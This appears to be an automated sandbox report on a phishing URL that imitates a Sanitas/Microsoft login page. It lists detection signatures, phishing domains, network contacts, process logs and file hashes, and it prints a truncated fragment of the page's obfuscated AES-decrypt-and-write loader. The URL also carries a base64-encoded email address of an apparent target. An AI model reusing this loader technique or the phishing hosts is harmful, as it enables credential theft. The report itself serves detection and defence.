Windows Analysis Report
https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

Overview

General Information

Sample URL:	https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==
Analysis ID:	1522638

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish70

HTML page contains suspicious javascript code

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Signatures

Phishing

AI detected phishing page

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	LLM: Score: 9 Reasons: The brand 'Sanitas' is known and associated with healthcare and wellness products., The URL 'bluntchiefei.za.com' does not match the legitimate domain 'sanitas.com'., The domain 'za.com' is unusual and not typically associated with the Sanitas brand., The presence of a password input field on a non-matching domain is suspicious., The URL contains an unrelated subdomain 'bluntchiefei', which is a common tactic in phishing attempts. DOM: 1.4.pages.csv
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	LLM: Score: 9 Reasons: The brand 'Microsoft' is well-known and has a well-established domain 'microsoft.com'., The provided URL 'bluntchiefei.za.com' does not match the legitimate domain 'microsoft.com'., The URL contains an unusual domain extension '.za.com' which is not typically associated with Microsoft., The URL has no clear association with Microsoft, and the domain name 'bluntchiefei' is suspicious and unrelated to Microsoft., The email domain 'sanitas.es' does not provide any additional context to validate the URL. DOM: 1.3.pages.csv

Yara detected HtmlPhish70

Source: Yara match

File source: 1.2.pages.csv, type: HTML

HTML page contains suspicious javascript code

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: window.location.href = atob(

HTML body contains low number of good links

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Number of links: 0

HTML body contains password input but no form action

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: <input type="password" .../> found but no <form action="...

HTML body with high number of embedded images detected

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Total embedded image size: 45687

HTML page contains hidden javascript code

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20qtFLbZ%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

HTML title does not match URL

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Title: Continue to secure Log-in does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: async function eardrum(racial) { var {a,b,c,d}=json.parse(racial); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations:999}),{iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async () => { document.write(await eardrum(await (awaitfetch(awaiteardrum(atob(`eyjhijoisejmqlwvtdhxztzvdlrpoeprzu9utexubklid1rznvwvdenzmeljylwvze94st0ilcjjijoiyzc0zjg5zta0yme1zgy3zte3zgnjntbhztixztfmmjuilcjiijoimthhnjg4otuwodm2mja2mty0nwrhm2yyogm0zjuwy2u4oguxotm4n2fhogrjmmy2yjvmodi2nthjndhhotk3oddmotvlzmnhyjiwodg3mzk4ywq1yjy1njq1m2nimgm0zje1ywq2mdm5mwyxmzu5mzvlmmvlzjm0nzk3zjfimtgwyjg3yzzmzjk0zwm4ogi2ztvmmzfkymu2mdm2mzdlndjmmtmyngm3ymqxzjnjytezm2u3m2nhmwexm2zhnji0ody4nzy3y2jlote3n2uyntbhzmnjmdewzjbmzwqxmzbjntgxogu1mguymzy2mduwowiyngvjmdrlytjhmtdjodmwzdeynzrhywnhyzy2oti3zwu4nty1zje0mduxogm1odbkndy5odzmmjg5zdnhywnhnjiznwm5mdjhnzdlodjmyje0nme4mdaxmjq0ogu1mjjmyjk5mt...

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: <input type="password" .../> found

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="author".. found
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="author".. found

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="copyright".. found
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:56474 version: TLS 1.2

Detected non-DNS traffic on DNS port

Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	DNS traffic detected: DNS query: www.curiosolucky.com
Source: global traffic	DNS traffic detected: DNS query: bluntchiefei.za.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: synthsparkwe.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 56486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56474
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56483
Source: unknown	Network traffic detected: HTTP traffic on port 56487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56489
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56495
Source: unknown	Network traffic detected: HTTP traffic on port 56482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56496
Source: unknown	Network traffic detected: HTTP traffic on port 56479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56490
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56480 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:56474 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@25/14@26/171

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1972,i,14582413313291952037,17520994271373431238,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1972,i,14582413313291952037,17520994271373431238,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Stores files to the Windows start menu directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.131.14	synthsparkwe.ru	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.67	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
34.104.35.123	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
149.56.200.84	curiosolucky.com	Canada	16276	OVHFR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	bluntchiefei.za.com	European Union	13335	CLOUDFLARENETUS	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.131	unknown	United States	15169	GOOGLEUS	false
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
64.233.184.84	unknown	United States	15169	GOOGLEUS	false
142.250.186.110	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

Contacted Domains

Name	IP	Active
synthsparkwe.ru	172.67.131.14	true
bluntchiefei.za.com	188.114.96.3	true
a.nel.cloudflare.com	35.190.80.1	true
code.jquery.com	151.101.194.137	true
cdnjs.cloudflare.com	104.17.24.14	true
challenges.cloudflare.com	104.18.95.41	true
www.google.com	142.250.186.164	true
curiosolucky.com	149.56.200.84	true
www.curiosolucky.com	unknown	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	true		unknown

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 11:03:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	1E3E51F6F5D9442DD6D439918B50F79F	1EAB9BCE2724C59E94FE12284E628621BE624D05	862FD541F92C88053C88607F0A0C3588389C934CB49C4A62DA383BB753A538B7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 11:03:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	FCA3BB798EA75AE99D25BEF66A8C8DA0	3E1997F2CC5AD4D03FC138422E42568EBB08868E	0F02CBD5838371D60BB94A32E036CE0700B4C3CC45F85ABDF8FF0A7479D36946
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	068FCE4B10D25534AFAC57489F1DF994	B4B9B3332365FF64C9C2DD1E7C48499B3FEC5279	0EA78440EE3328A888A085791E3A1AE89ADCBAA570AC2979F4FB27853DC037D6
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 11:03:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	3BE1707E29093E0E7DB7EC980DA3D99B	67E4AD539CD4BEEB0592BF330FC57DE205B55E98	8CB903F0076B7F89E5BEEE0E7960974B7948CB9EC242C27521D1247E0D772AD7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 11:03:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	248667E64F1B87EBB7EA7A5FD0115083	9BC3D390B3627B479E4E4FCF0CAFF645106163BE	08BD5748F5C6B912D70D071B4F4EC372AFFBF306E9FFC1FAE0C12C2F5C28993F
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 11:03:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide	F50EC97D6657B536C4FFFF33A32EF562	2D1A3B9893E1B2FFB6C49816EB9C88D7145C692E	1DA5C027750963B0B52A4ADEDE4669751FDBA1312605FD037C9AB826E054B7B3
Chrome Cache Entry: 131	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced	9246CCA8FC3C00F50035F28E9F6B7F7D	3AA538440F70873B574F40CD793060F53EC17A5D	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
Chrome Cache Entry: 133	HTML document, ASCII text, with CRLF, LF line terminators	F58515DFE987F7E027C8A71BBC884621	BEC6AEBF5940EA88FBBFF5748D539453D49FA284	679E7E62B81267C93D0778083AE0FD0EFE24172FF0AC581835B54165B3D9ED43
Chrome Cache Entry: 134	ASCII text, with very long lines (65447)	8FB8FEE4FCC3CC86FF6C724154C49C42	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
Chrome Cache Entry: 138	ASCII text, with very long lines (47992), with no line terminators	CF3402D7483B127DED4069D651EA4A22	BDE186152457CACF9C35477B5BDDA5BCB56B1F45	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
